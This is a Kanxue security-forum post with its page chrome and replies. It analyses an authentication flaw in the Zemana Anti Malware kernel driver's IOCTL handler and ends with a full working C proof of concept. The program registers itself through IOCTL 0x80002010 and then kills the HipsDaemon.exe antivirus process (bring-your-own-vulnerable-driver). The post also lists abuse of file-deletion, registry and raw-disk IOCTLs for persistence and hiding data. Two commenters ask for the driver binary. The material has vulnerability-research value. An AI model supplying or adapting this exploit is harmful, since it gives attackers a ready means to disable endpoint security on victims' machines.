首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
逆向工程
发新帖
5
6
[原创]一个漏洞驱动利用以结束杀软进程
发表于: 2026-2-15 15:27
3486
[原创]一个漏洞驱动利用以结束杀软进程
TurkeybraNC
2026-2-15 15:27
3486
# 一个漏洞驱动利用 写这篇文章主要是探讨一下恶意软件如何构造恶意IOCTL以结束杀毒软件进程,实现BYOVD # 漏洞驱动总体评估 Zemana Anti Malware 是一款第三方反恶意软件产品,其内核驱动负责提供底层系统防护功能,包括进程保护、注册表监控、文件访问拦截等。然而,经过逆向分析发现,该驱动在实现用户态与内核态通信(IOCTL)时存在严重的安全缺陷:关键 IOCTL 缺乏调用者身份验证,导致任意进程均可注册自身为“可信”进程,进而滥用驱动提供的特权操作(如终止任意进程、读写磁盘、修改注册表等)。该漏洞属于典型的内核权限提升漏洞(Elevation of Privilege, EoP),攻击者可利用其完全瓦解系统的安全防御。 本报告详细分析该漏洞的技术细节、影响范围及修复方案,旨在帮助安全社区理解风险并推动厂商及时修复。 # 驱动概述 Zemana 驱动在系统启动时加载,创建一个名为 \Device\ZemanaAntiMalware 的设备对象,并设置符号链接 \DosDevices\ZemanaAntiMalware(用户态可通过 \\.\ZemanaAntiMalware 访问)。驱动通过 IRP 主功能代码 IRP_MJ_DEVICE_CONTROL 处理来自用户态的各种控制请求(IOCTL),实现反恶意软件的核心功能。   逆向分析表明,驱动支持数十种 IOCTL 功能,覆盖以下类别: ``` 进程/线程操作:终止进程、打开进程、打开线程、枚举进程等。 文件/注册表操作:删除文件、创建/删除注册表键值、查询目录文件等。 内核保护功能:修复关键内核函数、检查驱动分发例程、启用/禁用实时保护(RT)、启用/禁用 ZAM Guard 等。 其他功能:获取内核映像信息、SCSI 读写、发送系统信息等。 ``` 这是漏洞驱动的一些信息   # 漏洞细节分析 ## 驱动入口点 通过逆向分析,我们可以发现驱动注册了符号链接,这给三环的访问提供了便利  ## DeviceIoControlHandler 漏洞的核心存在于驱动处理 IOCTL 请求的权限检查逻辑中。通过逆向 DeviceIoControlHandler 函数,提取出以下关键的权限验证流程(已简化为伪代码)  ``` NTSTATUS DeviceIoControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) { ULONG ioControlCode = IoGetCurrentIrpStackLocation(Irp)->Parameters.DeviceIoControl.IoControlCode; HANDLE currentProcessId = PsGetCurrentProcessId(); // 权限检查函数 if (!IsIoctlAllowed(ioControlCode, currentProcessId)) { return STATUS_ACCESS_DENIED; } // 根据 ioControlCode 分发处理... } ``` 这是复原的原DeviceIoControlHandler ``` // 设备I/O控制分发例程 NTSTATUS DeviceIoControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context) { NTSTATUS status = STATUS_INVALID_PARAMETER; PIO_STACK_LOCATION irpSp; ULONG ioControlCode; ULONG inputBufferLength; ULONG outputBufferLength; PVOID systemBuffer; ULONG returnedInformation = 0; HANDLE currentProcessId; ULONG flags; ULONG someGlobalFlag; // 获取当前进程ID currentProcessId = PsGetCurrentProcessId(); // 获取当前I/O堆栈位置 irpSp = IoGetCurrentIrpStackLocation(Irp); if (irpSp == NULL) { ZmnDbgPrint(7, "Main.c", 455, "DeviceIoControlHandler", STATUS_INVALID_PARAMETER, "IO Stack Location is NULL"); status = STATUS_INVALID_PARAMETER; goto CompleteRequest; } // 提取IRP中的常用字段 flags = irpSp->Flags; systemBuffer = Irp->AssociatedIrp.SystemBuffer; inputBufferLength = irpSp->Parameters.DeviceIoControl.InputBufferLength; ioControlCode = irpSp->Parameters.DeviceIoControl.IoControlCode; // 权限检查(IOCTL_REGISTER_PROCESS 绕过检查) if (!IsIoctlAllowed(ioControlCode, currentProcessId)) { status = STATUS_ACCESS_DENIED; ZmnDbgPrint(7, "Main.c", 482, "DeviceIoControlHandler", STATUS_ACCESS_DENIED, "ProcessID %d is not authorized to send IOCTLs ", currentProcessId); goto CompleteRequest; } // 根据IOCTL代码分发处理 switch (ioControlCode) { // ----- 0x80002000 范围 ----- ...略 case IOCTL_REGISTER_PROCESS: // 0x80002010 ZmnDbgPrint(1, "Main.c", 520, "DeviceIoControlHandler", 0, "IOCTL_REGISTER_PROCESS"); status = sub_1400102CC(systemBuffer); break; ···略 case IOCTL_TERMINATE_PROCESS: // 0x80002048 ZmnDbgPrint(1, "Main.c", 645, "DeviceIoControlHandler", 0, "IOCTL_TERMINATE_PROCESS"); status = ZmnFullPhTerminateProcessById((ULONG_PTR)systemBuffer); returnedInformation = status; break; ···略 default: // 未知IOCTL ZmnDbgPrint(7, "Main.c", 780, "DeviceIoControlHandler", STATUS_INVALID_DEVICE_REQUEST, "Unknown IOCTL code provided 0x%X", ioControlCode); status = STATUS_INVALID_DEVICE_REQUEST; break; } CompleteRequest: // 设置IRP完成状态和信息 Irp->IoStatus.Status = status; Irp->IoStatus.Information = returnedInformation; ZmnDbgPrint(1, "Main.c", 789, "DeviceIoControlHandler", 0, "Response size %d", returnedInformation); IofCompleteRequest(Irp, IO_NO_INCREMENT); return status; } BOOLEAN IsIoctlAllowed(ULONG IoControlCode, HANDLE ProcessId) { // 特殊情况:注册进程的IOCTL总是允许 if (IoControlCode == IOCTL_REGISTER_PROCESS) return TRUE; LONG adjustedCode = IoControlCode + 2147475372; // 相当于 IoControlCode - 0x80002010 if (adjustedCode <= 0x10) { // 在范围内,进一步检查位图 __int64 bitMap = 69633; // 位图值,二进制 10001000000000001? 需要按位测试 // _bittest 测试 (bitMap) 的第 adjustedCode 位 if (_bittest((const LONG*)&bitMap, adjustedCode)) return TRUE; // 位被设置,允许 } // 默认需要检查进程是否已注册 if (sub_140009BD8(SomeParameter, "Main.c") && !ZmnAuthIsRegisteredProcessId(ProcessId)) return FALSE; // 未注册且未通过安全检查,拒绝 return TRUE; // 所有检查通过 } ``` ## 有问题的IsIoctlAllowed  ``` BOOLEAN IsIoctlAllowed(ULONG IoControlCode, HANDLE ProcessId) { // 漏洞点:IOCTL_REGISTER_PROCESS 永远允许 if (IoControlCode == IOCTL_REGISTER_PROCESS) // 0x80002010 return TRUE; // 位图检查:部分 IOCTL 即使未注册也可使用 LONG adjustedCode = IoControlCode + 2147475372; // 等效于 IoControlCode - 0x80002010 if (adjustedCode <= 0x10) { __int64 bitMap = 69633; // 位图 10001000000000001,位0、12、16为1 if (_bittest((LONG*)&bitMap, adjustedCode)) return TRUE; } // 一般情况:需安全检查开启且进程已注册 if (sub_140009BD8(69633, "Main.c") && !ZmnAuthIsRegisteredProcessId(ProcessId)) return FALSE; return TRUE; } ``` 从 `IsIoctlAllowed` 函数可知,以下 IOCTL 在任何情况下都被允许,无需检查进程是否已注册: - `IOCTL_REGISTER_PROCESS` (0x80002010) —— 直接返回 TRUE。 - `IOCTL_GET_DRIVER_PROTOCOL` (0x80002054) —— 位0 - `IOCTL_ENABLE_ZAM_GUARD` (0x80002060) —— 位12 - `IOCTL_DISABLE_ZAM_GUARD` (0x80002064) —— 位16 其中,`IOCTL_REGISTER_PROCESS` 的功能是将指定的进程 ID 注册为“可信”进程,一旦注册成功,该进程便可调用其他受保护的 IOCTL(如终止进程、修改注册表等)。然而,该 IOCTL 本身没有任何调用者身份验证,导致任意进程均可通过它将自己加入白名单。 ## ZmnAuthRegisterProcess 处理 `IOCTL_REGISTER_PROCESS` 的子函数为 `ZmnAuthRegisterProcess`,其实现如下   ``` NTSTATUS ZmnpAuthRegisterProcess(ULONG PID) { if (!g_AuthManagerInitialized) return STATUS_INVALID_PARAMETER; if (ZmnAuthIsRegisteredProcessId(PID)) { // 已注册则直接返回成功 return STATUS_SUCCESS; } PEPROCESS Eprocess; NTSTATUS status = PsLookupProcessByProcessId((HANDLE)PID, &Eprocess); if (!NT_SUCCESS(status)) { return status; } PCHAR imageName = PsGetProcessImageFileName(Eprocess); if (!imageName) { ObDereferenceObject(Eprocess); return STATUS_UNSUCCESSFUL; } // 在内部注册表中找到一个空闲槽位,存储 PID、会话ID、进程名 KeAcquireSpinLock(&g_RegistrationLock); // ... 查找空闲槽位并存储信息 KeReleaseSpinLock(&g_RegistrationLock); ObDereferenceObject(Eprocess); return STATUS_SUCCESS; } ``` 源代码 ``` __int64 __fastcall ZmnpAuthRegisterProcess(int PID) { int st; // ebx __int64 processId; // rdi __int64 ProcessImageFileName; // r14 char v4; // r15 _DWORD *v5; // rcx int v6; // esi __int64 v7; // rbp __int64 v8; // rbx const char *v9; // rbx __int64 v10; // rdx __int64 Eprocess; // [rsp+78h] [rbp+10h] BYREF Eprocess = 0LL; st = -1073741823; processId = (unsigned int)PID; if ( !isAuthManagerRegistered ) { ZmnDbgPrint( 5, (__int64)"Authentication\\AuthenticationManager.c", 246, "ZmnAuthRegisterProcess", 0, (__int64)"Authentication Manager is not initialized"); goto LABEL_20; } if ( (unsigned int)ZmnAuthIsRegisteredProcessId(PID) ) { ZmnDbgPrint( 1, (__int64)"Authentication\\AuthenticationManager.c", 256, "ZmnAuthRegisterProcess", 0, (__int64)"%d is already registered", processId); LABEL_19: st = 0; goto LABEL_20; } st = PsLookupProcessByProcessId(processId, &Eprocess); if ( st >= 0 ) { ProcessImageFileName = PsGetProcessImageFileName(Eprocess); if ( !ProcessImageFileName ) { ZmnDbgPrint( 7, (__int64)"Authentication\\AuthenticationManager.c", 282, "ZmnAuthRegisterProcess", -1073741823, (__int64)"Can not get process name for pid %d", processId); goto LABEL_20; } v4 = KeAcquireSpinLockRaiseToDpc(&qword_14002EC20); v5 = &unk_14002EC34; v6 = 0; dword_14002EC28 = (dword_14002EC28 + 1) % 0x64uLL; while ( 1 ) { v7 = -1LL; if ( !*v5 ) break; ++v6; v5 += 608; if ( (unsigned __int64)v6 >= 0x64 ) goto LABEL_15; } if ( v6 != -1 ) goto LABEL_16; LABEL_15: v6 = 0; LABEL_16: v8 = 608LL * v6; dword_14002EBE0[v8 + 20] = PsGetProcessSessionId(Eprocess); dword_14002EBE0[v8 + 21] = processId; v9 = (const char *)&dword_14002EBE0[v8 + 22]; do ++v7; while ( *(_BYTE *)(ProcessImageFileName + v7) ); sub_1400011A0(v9, ProcessImageFileName, v7 + 1); LOBYTE(v10) = v4; KeReleaseSpinLock(&qword_14002EC20, v10); ZmnDbgPrint( 1, (__int64)"Authentication\\AuthenticationManager.c", 339, "ZmnAuthRegisterProcess", 0, (__int64)"ProcessID %d ProcessName %s registered to #%d slot / total %d", processId, v9, v6, dword_14002EC28); goto LABEL_19; } ZmnDbgPrint( 7, (__int64)"Authentication\\AuthenticationManager.c", 270, "ZmnAuthRegisterProcess", st, (__int64)"Can not lookup process by id %d", processId); LABEL_20: if ( Eprocess ) ObfDereferenceObject(); return (unsigned int)st; } ``` 该函数的关键缺陷: - **接受任意 PID**:`PID` 参数直接来自用户输入的缓冲区,驱动未验证该 PID 是否与调用者相关。攻击者可传入自己的进程 ID,或任意其他进程 ID(如杀软进程本身)。 - **无调用者身份验证**:函数未检查调用者是否具有 `SeTcbPrivilege` 特权,也未验证调用者是否以 SYSTEM 身份运行。任何用户态程序(包括低权限恶意软件)均可调用此 IOCTL。 - **成功即永久注册**:一旦注册,该 PID 便被加入内部白名单,此后该进程发起的其他 IOCTL 请求(如终止进程)将被允许。 ## 注册后权限绕过 一旦恶意进程通过 `IOCTL_REGISTER_PROCESS` 成功注册,它便可以调用任何受保护的 IOCTL。例如,`IOCTL_TERMINATE_PROCESS` (0x80002048) 的实现如下(伪代码):  ``` case IOCTL_TERMINATE_PROCESS: status = ZmnFullPhTerminateProcessById((ULONG_PTR)Irp>AssociatedIrp.SystemBuffer); Parameters = status; break; ``` 该函数接收一个进程 ID(从系统缓冲区中直接取出),并调用内核函数终止该进程。由于调用者已经注册,权限检查通过,任何进程(包括系统关键进程、杀软自身)都可被恶意终止。同样,其他高危 IOCTL 如 `IOCTL_DELETE_FILE`、`IOCTL_CREATE_KEY`、`IOCTL_SCSI_WRITE` 等均可被滥用,造成灾难性后果。 ## 攻击流程 1. **打开驱动设备**:通过符号链接 `\\.\ZemanaAntiMalware` 打开设备句柄。 2. **注册自身进程**:调用 `DeviceIoControl`,使用 IOCTL 码 `0x80002010`,输入缓冲区为当前进程 ID。驱动无条件执行注册,将攻击者进程加入白名单。 3. **执行特权操作**:注册成功后,攻击者可以调用任意其他 IOCTL。例如: - 终止杀软进程:使用 `IOCTL_TERMINATE_PROCESS` 传入杀软主进程 PID,使其退出,从而关闭实时防护。 - 删除关键文件:使用 `IOCTL_DELETE_FILE` 删除系统文件或杀软组件。 - 修改注册表启动项:使用 `IOCTL_CREATE_KEY` / `IOCTL_DELETE_VALUE` 实现持久化。 - 读取或写入磁盘:使用 `IOCTL_SCSI_READ` / `IOCTL_SCSI_WRITE` 绕过文件系统直接操作磁盘,隐藏恶意数据。 以下为PoC: ``` #include <windows.h> #include <stdio.h> #include<TlHelp32.h> #define IOCTL_REGISTER_PROCESS 0x80002010 #define IOCTL_TERMINATE_PROCESS 0x80002048 DWORD GetProcessIdByName(const char* processName) { DWORD pid = 0; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { return 0; } int wideLen = MultiByteToWideChar(CP_ACP, 0, processName, -1, NULL, 0); if (wideLen == 0) { CloseHandle(hSnapshot); return 0; } WCHAR* wideProcessName = (WCHAR*)malloc(wideLen * sizeof(WCHAR)); if (wideProcessName == NULL) { CloseHandle(hSnapshot); return 0; } MultiByteToWideChar(CP_ACP, 0, processName, -1, wideProcessName, wideLen); PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, &pe)) { do { if (wcscmp(pe.szExeFile, wideProcessName) == 0) { pid = pe.th32ProcessID; break; } } while (Process32Next(hSnapshot, &pe)); } free(wideProcessName); CloseHandle(hSnapshot); return pid; } HANDLE OpenDriverDevice(const char* devicePath) { HANDLE hDevice = CreateFileA( devicePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Failed to open device: %lu\n", GetLastError()); } return hDevice; } int main() { HANDLE hDevice = OpenDriverDevice("\\\\.\\ZemanaAntiMalware"); if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Cannot open driver device. Exiting.\n"); } DWORD myPid = GetCurrentProcessId(); DWORD bytesReturned = 0; BOOL result = DeviceIoControl( hDevice, IOCTL_REGISTER_PROCESS, &myPid, sizeof(myPid), NULL, 0, &bytesReturned, NULL ); if (!result) { printf("[!] Register process failed: %lu\n", GetLastError()); CloseHandle(hDevice); } printf("[+] Process %lu registered successfully.\n", myPid); DWORD targetPid = GetProcessIdByName("HipsDaemon.exe"); if (targetPid == 0) { printf("[!] Cannot find Process:HipsDaemon.exe,Check it."); } printf("[+] Process HipsDaemon.exe pid is:%lu\n", targetPid); result = DeviceIoControl( hDevice, IOCTL_TERMINATE_PROCESS, &targetPid, sizeof(targetPid), NULL, 0, &bytesReturned, NULL ); if (!result) { printf("[!] Terminate process failed: %lu\n", GetLastError()); } else { printf("[+] Process %lu terminated successfully.\n", targetPid); } CloseHandle(hDevice); getchar(); return 0; } ``` 成功执行后杀软进程被终止,系统失去防护。  # 结论 Zemana Anti Malware 内核驱动中的 `IOCTL_REGISTER_PROCESS` 缺少调用者身份验证,是内核权限提升漏洞(CWE-306)。攻击者可利用此漏洞轻松注册自身进程,进而调用其他高危 IOCTL,完全瓦解系统安全防护。
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
#调试逆向
#系统底层
#软件保护
#病毒木马
#问题讨论
#其他内容
收藏
・
5
点赞
・
6
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
非常支持你的观点!
2026-7-16 05:39
hellozmc
你的帖子非常有用,感谢分享!
2026-6-5 08:34
yuanyouran
+1
感谢你分享这么好的资源!
2026-4-19 21:06
雪梨不是雪莉
这个讨论对我很有帮助,谢谢!
2026-2-19 18:42
ShaShen4404
这个讨论对我很有帮助,谢谢!
2026-2-18 22:25
我的小拇指啊
为你点赞!
2026-2-17 06:11
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
2
)
dayang
雪 币:
220
活跃值:
(1286)
能力值:
( LV2,RANK:10 )
在线值:
发帖
38
回帖
954
粉丝
1
关注
私信
dayang
2
楼
2年前的,还可以用?能不能发个SYS 出来啊?
最后于
2026-2-19 22:03 被dayang编辑 ,原因: 增加呢日哦那
2026-2-19 20:33
0
yuanyouran
雪 币:
85
活跃值:
(3210)
能力值:
( LV2,RANK:10 )
在线值:
发帖
5
回帖
191
粉丝
1
关注
私信
yuanyouran
3
楼
dayang
2年前的,还可以用?能不能发个SYS 出来啊?
同求
2026-4-19 21:07
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
TurkeybraNC
15
发帖
35
回帖
90
RANK
关注
私信
他的文章
[原创]右下角Windows Toast通知逆向(拦截与绕过)
511
[原创]实现一个EDR不可见的网络通信(将lwip移植到nt内核中)
4668
[原创]第三方MiniFilter中常见的一种TOCTOU漏洞
6679
[原创]利用导入表劫持实现DLL注入以干掉杀毒软件
11933
[原创]一个漏洞驱动利用以结束杀软进程
3486
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部